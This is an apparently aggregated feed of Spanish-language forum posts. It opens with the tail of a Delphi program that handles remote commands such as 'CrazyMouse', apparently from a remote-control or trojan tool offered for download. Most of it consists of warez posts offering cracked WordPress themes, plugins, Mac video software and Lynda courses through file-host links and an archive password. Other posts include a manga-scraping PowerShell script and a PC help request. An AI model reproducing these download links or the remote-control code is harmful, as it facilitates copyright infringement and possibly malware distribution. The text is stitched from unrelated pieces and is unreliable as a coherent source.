      if (ordenes_cmd = 'CrazyMouse') then
      begin
        mandar_rta(crazy_mouse(ordenes_ar1));
      end;

    end;

  except

    begin
      //
    end;
  end;

end.

// The End ?

Si lo quieren bajar lo pueden hacer de aca.

Circles v4.1 - Retina Responsive Multi-Purpose Theme

$
0
0


Circles v4.1 - Retina Responsive Multi-Purpose Theme | 36.5 MB

Círculos Wordpress Theme es un muy profesional y súper fácil de usar el tema, he aquí algunas de las características clave de los círculos: 4 Principal Disposición Tipos Toneladas de Shortcodes con una gran cantidad de variaciones de la diversión, Super-Fácil y flexible para utilizar poderosamente Responsive Muchas opciones para Código corto Uso: Page Builder y Shortcodes Gerente y Código corto Listas paquete.

Características principales:
18 Variaciones de blog
3 Diseños de cabecera
3 Plantillas Portfolio
4 Preferencias principal Layout (1170px de ancho completo, en caja 1170px, 960px de ancho completo, 960px en caja)
Increíble Page Builder y Shortcodes Gerente y Shortcodes Paquete
Fácil Instalación y super fácil de usar
Construido con HTML5 y CSS3
Número ilimitado de colores
One-Click Install
diseño Responsive
SEO Ready
Built-In Translations en Tema Opciones de Panel
Traducción listo
Soporte WooCommerce
Un montón de diferentes características premium y plugins
Layout Ordenable
Un montón de páginas personalizadas.
Las tablas de precios
Galería de fotos Variaciones
mucho más.

Código:

Página del producto: http://themeforest.net/item/circles-retina-responsive-multipurpose-theme/4739370




Download Links:

Código:

http://ul.to/v61wtll0
Código:

http://rapidgator.net/file/1db2421ff956ada934b5830b42d049bf/Circles_v4.1_-_Retina_Responsive_Multi-Purpose_Theme.zip.html
Código:

http://terafile.co/3b6a2b251c50/Circles_v4.1_-_Retina_Responsive_Multi-Purpose_Theme.zip
Código:

http://www.filefactory.com/file/2byw5rquf7z7/Circles%20v4.1%20-%20Retina%20Responsive%20Multi-Purpose%20Theme.zip
Código:

http://bitshare.com/files/knftslih/Circles-v4.1---Retina-Responsive-Multi-Purpose-Theme.zip.html
Código:

http://freakshare.com/files/ntt97u49/Circles-v4.1---Retina-Responsive-Multi-Purpose-Theme.zip.html

Loaris Trojan Remover 1.3.3.0 [Protector contra troyanos]

$
0
0
si no quieres que tu PC se infecte y sufra consecuencias lamentables, Loaris Trojan Remover es una aplicación que no puede faltar en tu sistema operativo.

.
.
Loaris Trojan Remover es una herramienta muy eficaz que detecta y elimina troyanos. Para ello, cuenta con poderosos filtros que analizan cada uno de los procesos que se llevan a cabo.
.
posee un sistema de protección en tiempo real. Gracias a ello, las personas podrán navegar en la web, realizar descargas, descomprimir archivos, conectar dispositivos USB y compartir datos en la red, sin sufrir ningún riesgo.

Como dato adicional, es importante destacar que el software permite realizar escaneos del disco duro que permiten desinfectar por completo el ordenador.
.
.

Scilab 5.5.0 [Software Free Para Cálculo Numérico] [Español]

$
0
0
Scilab es un software libre y de código abierto para el cálculo numérico que proporciona un entorno de computación de gran alcance para aplicaciones de ingeniería y científicas.
.
Scilab es liberado como código abierto bajo la licencia CeCILL (compatible GPL), y está disponible para su descarga gratuita. Scilab está disponible bajo GNU / Linux, Mac OS X y Windows XP/Vista/7/8 (ver los requisitos del sistema).
¿Qué hace Scilab?
Scilab incluye cientos de funciones matemáticas. Tiene un lenguaje de programación de alto nivel que permita el acceso a las estructuras de datos avanzadas, 2-D y las funciones gráficas en 3-D.
Un gran número de funcionalidades está incluido en Scilab:
.
Matemáticas y Simulación
Para aplicaciones de ingeniería y ciencias habituales incluyendo operaciones matemáticas y análisis de datos.
.
2-D y 3-D Visualización
Funciones de gráficos para visualizar, anotar y exportar datos y muchas maneras de crear y personalizar varios tipos de gráficos y tablas.
.
Optimización
Los algoritmos para resolver problemas de optimización continuos y discretos restringidos y no restringidos.
.
Estadística
Herramientas para llevar a cabo el análisis de datos y modelización
Sistema de Control de Diseño y Análisis
Algoritmos y herramientas estándar para el estudio del sistema de control
.
Procesamiento de Señales
Visualizar, analizar y filtrar las señales en los dominios de tiempo y frecuencia.
.
Desarrollo de aplicaciones
Aumentar Scilab funcionalidades nativas y gestionar los intercambios de datos con herramientas externas.
Xcos - sistemas dinámicos híbridos modelador y un simulador
Modelado de sistemas mecánicos, circuitos hidráulicos, sistemas de control ...
.
Scilab como plataforma
Gracias a su capacidad de interconectar con tecnologías de terceros y aplicaciones, Scilab también puede actuar como una plataforma única para reunir a los códigos escritos en diferentes lenguajes de programación en un solo idioma, unificado, lo que facilita su distribución, su copia de seguridad y uso.
.
.

Enfoque Visual - fotografía medios audiovisuales

Users WordPress [Guía práctica para la creación de blogs profesionales]

Empleados MSD v3.60 [+ Multiusuario] [Gestión de Recursos Humanos]

$
0
0
Empleados MSD es un avanzado programa de gestión de empleados, que permite manejar la siguiente información sobre los empleados de una empresa: datos personales y de empresa, familiares, historial, documentos, materiales, titulaciones, cursos, certificados, conocimientos, experiencia laboral, contratos, salarios, beneficios sociales, ausencias y vacaciones, retrasos, horas extras, felicitaciones, amonestaciones y sanciones.
.
.
Empleados MSD permite llevar un control gráfico de las ausencias y vacaciones, mediante la asignación de un color a cada tipo de ausencia. Gracias al calendario laboral que incorpora, el programa calcula los días naturales y los días laborables de cada periodo.
.
Empleados MSD posee una tecnología de gestión de datos de primer nivel. Permite ordenar, agrupar y filtrar la información por cualquier combinación de campos. Cualquier combinación de ordenación, agrupación o filtrado de información puede ser visualizada o impresa en un informe y también puede ser guardada para recuperarla en cualquier momento.
.
Esta avanzada tecnología de gestión de datos permite ver, por ejemplo, los empleados agrupados por centro de trabajo y departamento, o por grupo y puesto de trabajo, etc. Las posibilidades son infinitas.
Todas las tablas de datos se pueden exportar en format de Texto, Html, XML y Excel.
.
Todos los informes que genera el programa se pueden grabar en disco en formato PDF.
.

VisionColor: OSIRIS Cinematic Film emulaciones (Mac OS X) | 110 MB

$
0
0




VisionColor: OSIRIS Cinematic Film emulaciones (Mac OS X) | 110 MB

OSIRIS VisionColor es una colección de nueve potentes filtros kinoemulyatsii cinematográficas que dará su punto de vista de vídeo de movimiento en el toque de un botón.
OSIRIS LUT utiliza estándares abiertos y es compatible con todas las cámaras digitales y los programas de corrección. Estos LUT son una herramienta importante para todos los directores, directores de fotografía

y coloristas que quieran mejorar su profesionalidad y aumentar el costo de la producción, dejando al descubierto el potencial del video utilizando las tecnologías más modernas.

Información Adicional:
Ingredientes:
Delta (Rec.709 & LOG)
Visión 4 (Rec.709 & LOG)
Visión 6 (Rec.709 & LOG)
Prismo (Rec.709 & LOG)
KDX (Rec.709 & LOG)
Jugo (Rec.709 & LOG)
DK79 (Rec.709 & LOG)
M31 (Rec.709 & LOG)
Vision X (Rec.709 & LOG)
Para obtener más información acerca de buscar ofsayte.

Procedimiento de instalación:
Instalador de usar DaVinci Resolve, Adobe SpeedGrade, Adobe After Effects, Adobe Premiere Pro CC (no me registro en cualquier cosa)
. Cubo para fcpx se puede ajustar mediante la Utilidad de LUT para Final Cut Pro X y Motion

Servidores:
Resolve DaVinci,
Adobe SpeedGrade,
Adobe After Effects,
Adobe Premiere Pro CC,
De Apple FCP X y Apple Motion 5

Inicio: _http :/ / OSIRIS Cinematic Film Emulations | VisionColor

Enlace de descarga:

Descarga Vía descargables
Descargar: Uploadable.ch - #1 Easy & Fast File Storage

Descarga Vía Oboom
Descargar: https://www.oboom.com/FW6ABOO3/Visio...2014.part1.rar
Descargar: https://www.oboom.com/8UAICR32/Visio...2014.part2.rar

Descarga Vía Keep2share
Descargar: Keep2Share.cc - View File
Descargar: Keep2Share.cc - View File

Descarga Vía Rapidgator
Descargar: Download file VisionColor.OSIRIS.LUTs.2014.part1.rar
Descargar: Download file VisionColor.OSIRIS.LUTs.2014.part2.rar

Salu2
Bytes

Fxfactory Pro 4.1.7 (Mac OS X) | 75 MB

$
0
0



Fxfactory Pro 4.1.7 (Mac OS X) | 75 MB

FxFactory es una arquitectura de efectos visuales revolucionarios alimentar cientos de plugins para Final Cut Pro, Motion, Premiere Pro y After Effects. El todo-en-uno ofrece la caja de herramientas de vídeo ampliable a más de 170 plug-ins para la estilización de vídeo y se ve, corrección de color, fotogramas de animación, tecleando, 3D estereoscópico y titulación. La nueva versión también incluye actualizaciones de montaje de la foto, Motype, Leyendas, Cleaner, Split Animador y FxFactory Pro.
Montaje de la foto es un poderoso animador foto para FCP, Movimiento, Premiere Pro y After Effects. Permite a los usuarios para animar fácilmente fotografías con sólo elegir las fotos y un estilo de animación.

Motype 1.3 es un generador de títulos por Yanobox que permite a los editores crear rápidamente títulos. Generadores Título incluyen caracteres aleatorios, mezclador de movimiento, falta de definición de arrastre, por partículas de cartas, cámara 3D y ciclorama.

Phyx Cleaner 2.0 es un kit completo de reparación de imágenes. Ya sea un editor está usando imágenes 4:02:00-baja velocidad binaria de una cámara réflex digital, que elimina el ruido de vídeo o de película de grano, o la reparación de los

tez de talento en pantalla, Phyx Cleaner puede proporcionar herramientas para la reparación. Características más destacadas incluyen reconstructor croma, deband, desentrelazado, kit de maquillaje digital y reducción de ruido rápido.

¿Qué hay de nuevo v4.1.7
Esta versión ofrece correcciones de errores y mejoras.

Requerimientos
OS X 10,7 o más tarde
Final Cut Pro
Versiones 7 y 10
Movimiento
Versiones 4 y 5
Adobe After Effects
Versiones de 10, 10,5 y 11
(CS5, CS5.5, CS6 y CC)
Adobe Premiere Pro
Versión 6

Instrucciones incluidas

Enlace de descarga:

Descarga Vía descargables
Descargar: Uploadable.ch - #1 Easy & Fast File Storage

Descarga Vía Oboom
Descargar: https://www.oboom.com/9IOOTRDY/FXF.417.part1.rar
Descargar: https://www.oboom.com/LADI9QBI/FXF.417.part2.rar

Descarga Vía Keep2share
Descargar: Keep2Share.cc - View File
Descargar: Keep2Share.cc - View File

Descarga Vía Rapidgator
Descargar: Download file FXF417

Salu2
Bytes

Lynda - La gestión de una producción de vídeo con un iPad Tutorial-Keiso

$
0
0


Lynda - La gestión de una producción de vídeo con un iPad Tutorial-Keiso

Tamaño: 1.853 GB

Brotes de vídeo requieren mucha organización. Si usted es el director de un gran equipo, un tirador solitario, o algo intermedio, es necesario desarrollar un flujo de trabajo sólida para la planificación de un rodaje y mantenerlo en pista. La portabilidad y versatilidad del iPad es útil en cualquiera de estos escenarios, manteniendo la luz de la huella y su presupuesto aún más ligero.


Con un puñado de aplicaciones y servicios que funcionan con el iPad de bajo costo, se puede crear un conjunto de herramientas de producción muy eficaz. Este curso revela el flujo de trabajo que el autor y productor de contenidos lynda.com Nick Brazzi utiliza para planificar y ejecutar los brotes para producciones de bajo presupuesto y "sin presupuesto" serie web con aplicaciones de iPad, los servicios basados ​​en la nube, y el software de escritorio opcional. Descubra cómo Google Drive, Dropbox, y aplicaciones especializadas como Shot Lister, MovieSlate, Teleprompt +, y fácil de lanzamiento pueden ayudarle a manejar un barco apretado y llevar su producción a tiempo y bajo presupuesto.

Los temas incluyen:

- Configuración de almacenamiento de archivos y la organización con Dropbox y Google Drive
- La división de la secuencia de comandos en escena y números de tiro
- Creación de listas de tomas y un calendario de rodaje-día
- Creación de hojas de llamado para organizar el reparto y el equipo
- Usando una pizarra física o una aplicación de pizarra
- El uso de un iPad como un teleprompter
- tiros de registro
- Compilación de listas de tomas para la edición
- Recogida de las formas modelo firmado con Easy Release


CONTRASEÑA SI NECESIDAD: tutgfx

Uploadable.ch - #1 Easy & Fast File Storage
Uploadable.ch - #1 Easy & Fast File Storage
Uploadable.ch - #1 Easy & Fast File Storage
Uploadable.ch - #1 Easy & Fast File Storage
Uploadable.ch - #1 Easy & Fast File Storage
Uploadable.ch - #1 Easy & Fast File Storage
Uploadable.ch - #1 Easy & Fast File Storage
Uploadable.ch - #1 Easy & Fast File Storage
-----------------------------
Download file MANAGING_A_VIDEO_PRODUCTION_WITH_AN_IPAD_TUTORIAL-kEISO.part1.rar
Download file MANAGING_A_VIDEO_PRODUCTION_WITH_AN_IPAD_TUTORIAL-kEISO.part2.rar
Download file MANAGING_A_VIDEO_PRODUCTION_WITH_AN_IPAD_TUTORIAL-kEISO.part3.rar
Download file MANAGING_A_VIDEO_PRODUCTION_WITH_AN_IPAD_TUTORIAL-kEISO.part4.rar
Download file MANAGING_A_VIDEO_PRODUCTION_WITH_AN_IPAD_TUTORIAL-kEISO.part5.rar
Download file MANAGING_A_VIDEO_PRODUCTION_WITH_AN_IPAD_TUTORIAL-kEISO.part6.rar
Download file MANAGING_A_VIDEO_PRODUCTION_WITH_AN_IPAD_TUTORIAL-kEISO.part7.rar
Download file MANAGING_A_VIDEO_PRODUCTION_WITH_AN_IPAD_TUTORIAL-kEISO.part8.rar
-----------------------------
https://www.oboom.com/K55AF3E3/MANAG...EISO.part1.rar
https://www.oboom.com/TRI67WBH/MANAG...EISO.part2.rar
https://www.oboom.com/FYNIPXKJ/MANAG...EISO.part3.rar
https://www.oboom.com/KURPFLPA/MANAG...EISO.part4.rar
https://www.oboom.com/KRSAM1B8/MANAG...EISO.part5.rar
https://www.oboom.com/LKNV4TL9/MANAG...EISO.part6.rar
https://www.oboom.com/5DJHLJCM/MANAG...EISO.part7.rar
https://www.oboom.com/F27OLENP/MANAG...EISO.part8.rar
-----------------------------
MANAGING_A_VIDEO_PRODUCTION&hellip;rar (251,00 MB) - uploaded.net
MANAGING_A_VIDEO_PRODUCTION&hellip;rar (251,00 MB) - uploaded.net
MANAGING_A_VIDEO_PRODUCTION&hellip;rar (251,00 MB) - uploaded.net
MANAGING_A_VIDEO_PRODUCTION&hellip;rar (251,00 MB) - uploaded.net
MANAGING_A_VIDEO_PRODUCTION&hellip;rar (251,00 MB) - uploaded.net
MANAGING_A_VIDEO_PRODUCTION&hellip;rar (251,00 MB) - uploaded.net
MANAGING_A_VIDEO_PRODUCTION&hellip;rar (251,00 MB) - uploaded.net
MANAGING_A_VIDEO_PRODUCTION&hellip;rar (140,68 MB) - uploaded.net

(Todos los enlaces son intercambiables)

Salu2
Bytes

Script powershell para submanga.com

$
0
0
Resulta que me robaron la notebook con mi querido GNU/Linux sabayon. Con ello, tuve que volverme a amigar con la pc de escritorio con windows 7 (todavía no lo consigo).
Con GNU/Linux, pasar tiempo en la consola es agradable, pero en windows ésto no sucede. Existe powershell, pero si por lo menos fuera más amigable...
Bien, entonces veamos el baso medio lleno y aprovechemos éste impass para aprender a usar powershell (incluso sirve para el trabajo).

Junto con mi notebook, se fueron un montón de imágenes y scripts que utilizaba para bajar mangas y leerlos tranquilamente desde mi teléfono... el leerlo desde la web me resulta incómodo, decae mucho el tener que esperar a que cargue la imagen para poder leer, un delay de 3 segundos (que aquellos que leen sabrán comprender).

Fue así que, con los pocos conocimientos que tenía, junto con los nuevos que fui aprendiendo, llegué a éste script, sólo funciona sobre submanga. Ejemplos de uso:
* Ejemplo 1, supongamos que quiero bajar todo Bleach (cosa que no va a pasar, aparentemente éste tipo de servidores detectan la intromisión de éstos bots y bloquean cada cierto tiempo, pero para bajar de a uno puede que sirva), la cosa sería:
Código:

.\get.ps1 -manga Bleach
Ésto lo que hace es generar una página cache, para luego no tener que volver a descargarla.
* Ejemplo 2: Supongamos que quiero ver cuáles son los últimos 10 capítulos que salieron de Bleach
Código:

.\get.ps1 -manga Bleach -onlyTest
Ahora, de nuevo, hay que tener presente que si existe la página cache la va a utilizar, ésto significa que puede que estemos consultando una página antigua y ya exista un nuevo capítulo, para evitar ésto se puede hacer utilizar el parámetro -invalidateCache.

* Ejemplo 3: bajar un rango de capítulos
Código:

.\get.ps1 -manga Bleach -from 500 -to 510
(No lo probé, pero calculo que si no le pasamos el parámetro -from descargará desde el capítulo 1 hasta el que dice el parámetro -to, a la inversa si no le pasamos -to descargará desde -from hasta... 1000, un valor totalmente aleatorio tomando como referencia Bleach un manga con casi 600 capítulos (hasta la fecha), y el cual es muy extenso).

Código:

Param (
  [Parameter(Mandatory=$True)]
  [string]$manga,
  [int]$fromChapter=1,
  [int]$toChapter=1000,
  [switch]$invalidateCache,
  [switch]$onlyTest
)

$ext = ".html"
$cache_path = "$pwd\tmp_$manga$ext"

if(-not $invalidateCache){
  $invalidateCache = (-not (Test-Path $cache_path))
}

#Write-Host "$fromChapter ------ $toChapter"

$r = [regex]"submanga.com/$manga/\d+/[0-9]+"

$client = New-Object System.Net.WebClient

# Bajo la página principal
if($invalidateCache){
  Write-Host "Bajando página principal"
  Remove-Item $cache_path 2> Out-Null
  $client.DownloadFile("http://submanga.com/$manga/completa", $cache_path)
}
$file = Get-Content $cache_path

# Nos quedamos con los capítulos que nos interesan
$all_matches = $r.Matches($file) | `
              ForEach { $_.Captures[0].value } |`
              Where-Object {
                [int]$_.Split("/")[2] -ge [int]$fromChapter -and
                [int]$_.Split("/")[2] -le [int]$toChapter
              }

$all_matches = ($all_matches | Sort -desc { [int]$_.Split("/")[2]})

if($onlyTest){
  Write-Host Last Chapters:
  # mostrar los últimos 10 nomás.
  $i = 0
  $all_matches | ForEach {
    Write-Host "  Chapter:"  $_.Split("/")[2]
    $i++
    if($i -gt 9){
      exit
    }
  }
  exit
}

$ext = ".jpg"
$all_matches | ForEach {
  Sleep 4
  $chapter = $_.Split("/")[2]
  $flag = $_.Split("/")[3]
  Write-Host "Descargando $_"
  $client.DownloadFile("http://$_", "$pwd/tmp$chapter")
  $chapter_content = [String]::Join(" ", (Get-Content tmp$chapter))
  if($chapter_content -match "submanga.com/.{1,3}/$flag"){
    $url = "http://" + $matches[0]
    Write-Host "Encontrado comic $url"
    del tmp$chapter
    $client.DownloadFile($url, "$pwd/tmp_$chapter")
    $chapter_content = [String]::Join(" ", (Get-Content tmp_$chapter))
    del tmp_$chapter
    if($chapter_content -match 'http://[iomg]{3}\.submanga.com/.+1\.jpg'){
      $img_url = $matches[0].Replace("1.jpg", "")
      Write-Host "Encontrada primera página $img_url"
      md $chapter
      $is_ok = 1
      $i = 1;
      Write-Host -noNewLine "Descargando página: "
      while($is_ok -eq 1){
        Write-Host -noNewLine $i-
        $file_name = "$i$ext"
        if($i -lt 10){
          $file_name = "0$file_name"
        }
        try{

          $client.DownloadFile("$img_url/$i$ext", "$pwd/$chapter/$file_name")
          $i++;
        }catch { $is_ok = 0; Write-Host "[FIN]"}
      }
    }
  }
}

Realmente con la organización del código estoy bastante desconforme, pero el funcionamiento es muy lindo y el API de uso mucho mejor. Más allá de que lo... usé (y lo usaré), el objetivo final en realidad era aprender y ver qué es lo que tiene windows para ofrecer a un administrador de sistemas, gracias a ésto estoy empezando a entender el funcionamiento de powershell y la mecánica de uso, muy entretenida... pero está a años luz de lo que un sistema *NIX tiene para ofrecer con sus consolas en interfaces gráficas (alguien mencionó konsole?)

Problema con Pc

$
0
0
beuna tarde gente como estan bueno estoy teniendo unos problemas con mi pc hace unos dias que entro al wxp y luego de un tiempo se apaga o simplemente aprieto el boton de encendido y el monitor queda en negro se escuchan los ventiladores funcionado todo normal pero no me da imagen, probe reinstalar mi so y me sale la siguiente imagen



quisiera saber si pueden decirme mas o menos a que se debe y como puedo solucionarlo. Muchasgracias.

Ninja Kick - Sidebar Contact Form - Wordpress Plugin

$
0
0


Ninja Kick - Sidebar Contact Form - Wordpress Plugin | 2.64 MB

Ninja Kick Sidebar Wordpress Plugin: Formulario de contacto es un plugin para WordPress que añade formulario de contacto con efecto a contenidos de animación empuje y diseño limpio en cada página de su sitio. Ejemplo: Usted puede hacer punto de menú "Contáctame" forma abierta de contacto de la misma experiencia de usuario página impoving. Plugin utiliza transiciones CSS3 modernas con reserva para mayores animaciones JS si el navegador carece de soporte. La forma es sensible a los cambios de tamaño de pantalla, funciona bien en los dispositivos móviles y reacciona a los gestos swipe.

Código:

Página del producto:http://codecanyon.net/item/ninja-kick-sidebar-contact-form/6598780


Download Links:

Código:

http://ul.to/om6po5lr
Código:

http://rapidgator.net/file/4caebe9b04c9ddc57559dcd76b37abba/Ninja_Kick_-_Sidebar_Contact_Form_-_Wordpress_Plugin.zip.html
Código:

http://terafile.co/29944b674073/Ninja_Kick_-_Sidebar_Contact_Form_-_Wordpress_Plugin.zip
Código:

http://bitshare.com/files/l5ddih1h/Ninja-Kick---Sidebar-Contact-Form---Wordpress-Plugin.zip.html
Código:

http://www.filefactory.com/file/y4y0y5mcyah/Ninja%20Kick%20-%20Sidebar%20Contact%20Form%20-%20Wordpress%20Plugin.zip
Código:

http://freakshare.com/files/5ipin5uo/Ninja-Kick---Sidebar-Contact-Form---Wordpress-Plugin.zip.html

Clipboard v2.3 - Pinterest Inspired WordPress Theme

$
0
0


Clipboard v2.3 - Pinterest Inspired WordPress Theme | 1.60 MB

Portapapeles es Pinterest inspiró el tema de WordPress que viene repleto de opciones de estilo y personalización. Si usted está buscando para empezar a utilizar el microblogging luego Portapapeles es el camino a seguir! Portapapeles es compatible con todos los formatos básicos de correos WordPress y se ha construido y diseñado pensando en la simplicidad. Para tener una mejor idea de cuál es posible con Portapapeles, asegúrese de probar el coche de las demos!

Código:

Página del producto: http://themeforest.net/item/clipboard-pinterest-inspired-wordpress-theme/5082705
Download Links:

Código:

http://ul.to/k2y55i5n
Código:

http://rapidgator.net/file/b7cc837910ff3d296359808439fa5b63/Clipboard_v2.3_-_Pinterest_Inspired_WordPress_Theme.zip.html
Código:

http://freakshare.com/files/10q99p0f/Clipboard-v2.3---Pinterest-Inspired-WordPress-Theme.zip.html
Código:

http://terafile.co/541598259c42/Clipboard_v2.3_-_Pinterest_Inspired_WordPress_Theme.zip
Código:

http://www.filefactory.com/file/85knbwz5zlv/Clipboard%20v2.3%20-%20Pinterest%20Inspired%20WordPress%20Theme.zip
Código:

http://bitshare.com/files/hv6bg9qr/Clipboard-v2.3---Pinterest-Inspired-WordPress-Theme.zip.html
Viewing all 11602 articles
Browse latest View live


<script src="https://jsc.adskeeper.com/r/s/rssing.com.1596347.js" async> </script>